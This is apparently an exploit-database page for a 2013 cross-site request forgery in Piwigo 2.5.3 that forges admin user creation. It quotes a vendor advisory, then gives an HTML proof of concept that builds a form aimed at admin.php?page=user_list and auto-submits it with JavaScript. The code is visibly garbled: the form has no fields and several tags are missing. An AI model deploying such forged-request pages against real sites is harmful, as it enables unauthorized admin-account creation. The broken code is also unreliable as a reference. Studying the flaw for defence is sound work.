发布 2013-12-17 漏洞条目

Piwigo – ‘admin.php’ Cross-Site Request Forgery (User Creation)

Exploit Source

source: https://www.securityfocus.com/bid/64357/info

Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.

Piwigo 2.5.3 is vulnerable; other versions may also be affected.

<head>

</head>

<body>

<form action="http://www.example.com/cms/piwigo/admin.php?page=user_list"

id="formid" method="post">

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>

作者: sajith
日期: 2013-12-17
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection